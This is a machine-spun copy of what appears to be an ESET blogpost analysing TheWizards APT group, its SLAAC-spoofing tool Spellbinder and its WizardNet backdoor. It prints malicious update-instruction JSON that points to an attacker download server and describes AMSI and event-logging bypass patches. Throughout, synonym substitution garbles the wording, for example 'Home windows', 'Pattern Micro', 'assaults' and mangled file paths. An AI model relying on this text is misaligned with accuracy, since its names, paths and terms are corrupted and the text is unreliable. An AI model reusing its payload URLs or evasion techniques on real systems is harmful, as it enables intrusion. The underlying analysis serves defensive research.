TheWizards APT group makes use of SLAAC spoofing to carry out adversary-in-the-middle assaults

On this blogpost, ESET researchers present an evaluation of Spellbinder, a lateral motion software for performing adversary-in-the-middle assaults, utilized by the China-aligned menace actor that now we have named TheWizards. Spellbinder permits adversary-in-the-middle (AitM) assaults, by way of IPv6 stateless handle autoconfiguration (SLAAC) spoofing, to maneuver laterally within the compromised community, intercepting packets and redirecting the site visitors of legit Chinese language software program in order that it downloads malicious updates from a server managed by the attackers. 

Key factors on this blogpost:

• We found a malicious downloader being deployed, by legit Chinese language software program replace mechanisms, onto victims’ machines.
• The downloader seeks to deploy a modular backdoor that now we have named WizardNet.
• We analyzed Spellbinder: the software the attackers use to conduct native adversary-in-the-middle assaults and to redirect site visitors to an attacker-controlled server to ship the group’s signature backdoor WizardNet.
• We offer particulars abouts hyperlinks between TheWizards and the Chinese language firm Dianke Community Safety Expertise, often known as UPSEC.

Overview

In 2022, we observed {that a} suspicious DLL had been downloaded by the favored Chinese language enter technique software program utility generally known as Sogou Pinyin. The DLL, named after a legit element of that software program, was a dropper for a downloader that retrieved an encrypted blob from a distant server. The blob contained shellcode that masses the backdoor now we have named WizardNet.

Our analysis led to the invention of a software, utilized by the attackers, that’s designed to carry out adversary-in-the-middle assaults utilizing IPv6 SLAAC spoofing to intercept and reply to packets in a community, permitting the attackers to redirect site visitors and serve malicious updates focusing on legit Chinese language software program.

Victimology

TheWizards has been always lively since a minimum of 2022 as much as the time of writing. In accordance with ESET telemetry, TheWizards targets people, playing corporations, and unknown entities within the Philippines, Cambodia, the United Arab Emirates, mainland China, and Hong Kong. Its geographical distribution is proven in Determine 1.

Spellbinder, the IPv6 AitM software

We initially found and analyzed this software in 2022, and noticed a brand new model with a number of modifications that was deployed to compromised machines in 2023 and 2024. As soon as the attackers achieve entry to a machine in a focused community, they deploy an archive referred to as AVGApplicationFrameHostS.zip, and extract its elements into %PROGRAMFILESpercentAVG Applied sciences. The recordsdata embrace:

• AVGApplicationFrameHost.exe
• wsc.dll
• log.dat
• winpcap.exe

Subsequent, the attackers set up winpcap.exe and run AVGApplicationFrameHost.exe. The latter, initially named wsc_proxy.exe, is a legit software program element from AVG that’s abused to side-load wsc.dll; this DLL merely reads the shellcode from the file log.dat and executes it in reminiscence. The shellcode decompresses and masses Spellbinder in reminiscence.

Spellbinder makes use of the WinPcap library to seize packets and to answer to packets when wanted. The primary job is to pick out or discover an adapter with which to carry out the packet seize. The code makes use of the WinPcap API pcap_findalldevs to get all obtainable adapter gadgets. The gadgets are itemized in a numbered record for the attacker. Optionally, Spellbinder accepts, as an argument, an index that can be utilized to select one adapter from this record. If a tool is just not provided, Spellbinder makes use of the Home windows APIs GetBestInterface and GetAdapterInfo to discover a appropriate adapter, and prints its info on display.

Determine 2 reveals the output of Spellbinder when no merchandise quantity is provided. In that case, the software finds essentially the most appropriate adapter by itself.

As proven in Determine 3, as soon as an adapter is discovered, Spellbinder makes use of the WinPcap pcap_open_live API to begin capturing packets, and creates two threads: one to ship ICMPv6 Router Commercial packets (defined within the subsequent part), and a thread to watch community modifications. The WinPcap pcap_loop API does the job of invoking a callback perform from Spellbinder each time a brand new packet is captured.

Router Commercial thread

This assault vector was mentioned by the IETF as early as 2008 and is brought on by a generally ignored community misconfiguration of IPv4 and IPv6 coexistence. It was then completely detailed in 2011 by Alec Waters, who dubbed it the SLAAC Assault. It takes benefit of IPv6’s Community Discovery Protocol through which ICMPv6 Router Commercial (RA) messages promote that an IPv6-capable router is current within the community in order that hosts that help IPv6, or are soliciting an IPv6-capable router, can undertake the promoting machine as their default gateway.

Spellbinder sends a multicast RA packet each 200 ms to ff02::1 (“all nodes”); Home windows machines within the community with IPv6 enabled will autoconfigure by way of stateless handle autoconfiguration (SLAAC) utilizing info offered within the RA message, and start sending IPv6 site visitors to the machine working Spellbinder, the place packets shall be intercepted, analyzed, and replied to the place relevant. Determine 4 illustrates the primary stage of the assault.

The RA packet constructed by Spellbinder consists of 4 main components:

• RA Flags: has the “managed handle configuration” flag set to 0, indicating to hosts that SLAAC must be used.
• The prefix choice that signifies to the host to make use of the 2001:db8::/64 prefix to generate its IPv6 handle, which isn’t an internet-routable subnet, however somewhat a subnet reserved for documentation.
• The recursive DNS server (RDNSS) choice that gives the host with the addresses of two DNS servers: 240e:56:4000:8000::11 and 240e:56:4000:8000::22. Each addresses are a part of AS4134 from China Telecom Spine, however don’t appear to be responding to DNS requests from the Web. We’ve got not discovered any proof indicating that both is a legit DNS server.
• The supply link-layer choice, which supplies the MAC handle of the machine working Spellbinder because the router to make use of within the native community phase.

Determine 5 reveals one of many ICMPv6 RA messages despatched by Spellbinder.

Determine 6 reveals the output of the Home windows ipconfig /all command earlier than and after working Spellbinder from a compromised machine within the community.

Packet processing

As beforehand talked about, a callback perform processes the captured uncooked packets. Spellbinder implements its personal parser to seek out packets to course of, reply to, or print info on display for the attacker. Desk 1 describes a number of the most related packet sorts processed and actions taken by the software.

Desk 1. Protocols and packet sorts to which Spellbinder can reply

When a DNS question is discovered, Spellbinder checks whether or not the area identify from the question is current on a hardcoded record of subdomains. The code performing this verify is proven in Determine 7.

Determine 8 is a subset of the hardcoded record in Spellbinder. The total record of focused domains incorporates many entries from domains related to a number of common Chinese language platforms, akin to Tencent, Baidu, Xunlei, Youku, iQIYI, Kingsoft, Mango TV, Funshion, Yuodao, Xiaomi and Xioami’s Miui, PPLive, Meitu, Quihoo 360, Baofeng, and others.

When a site from the DNS question is discovered within the record, Spellbinder crafts and sends a DNS reply message indicating the area’s IP handle, which is hardcoded within the binary. For instance, within the model from 2022 it was 43.155.116[.]7, and the most recent model we all know of, which was utilized in 2024, makes use of 43.155.62[.]54.

Spellbinder informs the attacker that the software is answering to the DNS question. Determine 9 reveals the output of the software, which features a stylized hexadecimal dump of your complete packet, the size in bytes, and a title that reads DNS ATTACK PAYLOAD.

Determine 10 reveals the packet info.

Hijacking of updates

For this blogpost now we have centered on one of many newest instances in 2024, through which the replace of Tencent QQ software program was hijacked. The malicious server that points the replace directions was nonetheless lively on the time of writing. Determine 11 illustrates the noticed chain.

The legit software program element QQ.exe sends an HTTP request to replace.browser.qq.com. The Spellbinder software intercepts the DNS question for that area identify and points a DNS reply with the IP handle of an attacker-controlled server used for hijacking, for instance, 43.155.62[.]54, that on the time of writing was nonetheless serving malicious updates.

When the request is acquired by the hijacking server, it replies with the next (beautified by us) JSON-formatted directions to obtain an archive additionally hosted in the identical server:

{
  "CSoftID": 22,
  "CommandLine": "",
  "Desp": "1.1.1160.80",
  "DownloadUrl": "http://43.155.62[.]54:81/app/minibrowser11_rpl.zip",
  "ErrCode": 0,
  "File": "minibrowser11.zip",
  "Flags": 1,
  "Hash": "da73153c76b6f652f9b2847531d1c367",
  "InstallType": 0,
  "NewVer": "39.1.1170.900",
  "PatchFile": "QBDeltaUpdate.exe",
  "PatchHash": "da73153c76b6f652f9b2847531d1c367",
  "Signal": "",
  "Dimension": 36673429,
  "VerType": ""
}

Subsequent, QQ.exe downloads the archive minibrowser11_rpl.zip and deploys its contents to the sufferer’s machine; the malicious minibrowser_shell.dll is then loaded.

Execution chain after a profitable AitM assault

The execution of the malware on a compromised machine begins with the malicious minibrowser_shell.dll downloader. This DLL has three export capabilities and the execution of any of them triggers its foremost performance however provided that the identify of the present course of incorporates QQ — for instance, QQ.exe could be legitimate.

It makes use of the WinSock API to attach by way of TCP to an attacker-controlled server, from the place it obtains an encrypted blob containing position-independent loader code and the WizardNet backdoor.

Loader shellcode

The loader begins by making an attempt to make use of a widely known bypass for AMSI that patches the primary bytes of the AmsiScanBuffer perform to return an error code, thus bypassing the mechanism that scans reminiscence for malicious artifacts. Then, it patches the entry level of the EtwEventWrite perform with a RETN 0x14 instruction; this has the impact of disabling Occasion Logging.

To execute the payload in reminiscence, the loader initializes the .NET runtime, as proven in Determine 12, utilizing the ICLRMetaHost, ICLRRuntimeInfo, and ICorRuntimeHost interfaces, requiring a runtime model of both v2.0.50727 or v4.0.30319.

Then the payload is decrypted utilizing a easy mixture of ADD and XOR. The payload is loaded into reminiscence utilizing the .NET runtime, then its entry level is executed.

WizardNet

The ultimate payload is a backdoor that we named WizardNet – a modular implant that connects to a distant controller to obtain and execute .NET modules on the compromised machine. Throughout its initialization it creates a mutex named International and reads shellcode from a file referred to as ppxml.db within the present working listing or the worth from the important thing HKCU00000, and makes an attempt to inject it into a brand new technique of explorer.exe or %ProgramFilespercentWindows Picture ViewerImagingDevices.exe.

The final step of the initialization part is to create a novel identifier for the pc, known as the SessionKey. It’s the results of the MD5 hash of the pc identify concatenated with the set up time of the backdoor and the serial variety of the disk drive, with every hex-encoded byte of the hash worth separated by @. The SessionKey is saved beneath the registry path HKCUSoftwaremid.

Relying on its configuration, WizardNet can then create a TCP or UDP socket to speak with its C&C server, and the messages exchanged are padded utilizing the PKCS7 algorithm and encrypted with AES-ECB; the SessionKey is used as the important thing for encryption and decryption and the IV is randomly generated for every packet and positioned earlier than the encrypted knowledge.

This variant of WizardNet helps 5 instructions, as seen in Desk 2. The primary three enable it to execute .NET modules in reminiscence, thus extending its performance on the compromised system.

Desk 2. Overview of the instructions supported by the orchestrator

Hyperlinks to Sichuan Dianke Community Safety

In December 2024, Pattern Micro researchers printed an evaluation of the MOONSHINE exploit package and the DarkNimbus malware for Android gadgets. The toolset is utilized by a gaggle Pattern Micro tracks as Earth Minotaur and that targets primarily Tibetan and Uyghur communities. In January 2025, Intelligence On-line recognized the Chinese language firm Sichuan Dianke Community Safety Expertise Co., Ltd., often known as UPSEC (Determine 13), because the provider of the DarkNimbus malware.

ESET tracks the malware that Pattern Micro named DarkNimbus as DarkNights (each for Home windows and Android); amusingly, Pattern Micro named the malware after the string DKNS current within the malware’s perform names, and we did the identical (DarkNights) after we found the malware. In April 2025, NCSC UK printed an advisory in regards to the BADBAZAAR malware and MOONSHINE, additionally mentioning UPSEC in relation to Pattern Micro’s analysis on Earth Minotaur.

Whereas TheWizards makes use of a distinct backdoor for Home windows (WizardNet), the hijacking server is configured to serve DarkNights to updating functions working on Android gadgets. Whereas now we have not seen any victims in ESET telemetry, we managed to acquire a malicious replace instruction for the Android model of Tencent QQ:

{
        "packages": [{
                "versionCode": 90999,
                "rules": [],
                "versionRegion": "",
                "plugins": [{
                        "name": "AudioFirstPiece",
                        "packageId": "audiofirstpiece",
                        "sampleRate": 10000,
                        "sampleRateHigh": 12,
                        "url": "http://43.155.62[.]54:81/app/plugin-audiofirstpiece.ml",
                        "md5": "a961766c1b2e5133d589be1cf47e3338"
                }]
        }]
}

The file plugin-audiofirstpiece.ml is a ZIP archive that solely incorporates a lessons.dex file, which is DarkNights for Android. This means that Dianke Community Safety is a digital quartermaster to TheWizards APT group.

ESET continues monitoring TheWizards independently of Earth Minotaur. Whereas each menace actors use DarkNights/DarkNimbus, based on ESET telemetry TheWizards has centered on totally different targets and makes use of infrastructure and extra instruments (for instance, Spellbinder and WizardNet) not noticed for use by Earth Minotaur.

Conclusion

In 2022, we found the exercise of a China-aligned APT group that now we have named TheWizards. We analyzed the customized malware and instruments developed and utilized by TheWizards: the IPv6 AitM software we’ve named Spellbinder, which permits the attackers to redirect the replace protocols of legit Chinese language software program to malicious servers, the place the software program is tricked into downloading and executing pretend updates on victims’ machines, and the malicious elements that launch the backdoor that now we have named WizardNet.

For any inquiries about our analysis printed on WeLiveSecurity, please contact us at threatintel@eset.com. 

ESET Analysis provides non-public APT intelligence reviews and knowledge feeds. For any inquiries about this service, go to the ESET Menace Intelligence web page.

IoCs

A complete record of indicators of compromise and samples might be present in our GitHub repository.

Information

Community

MITRE ATT&CK strategies

This desk was constructed utilizing model 16 of the MITRE ATT&CK framework.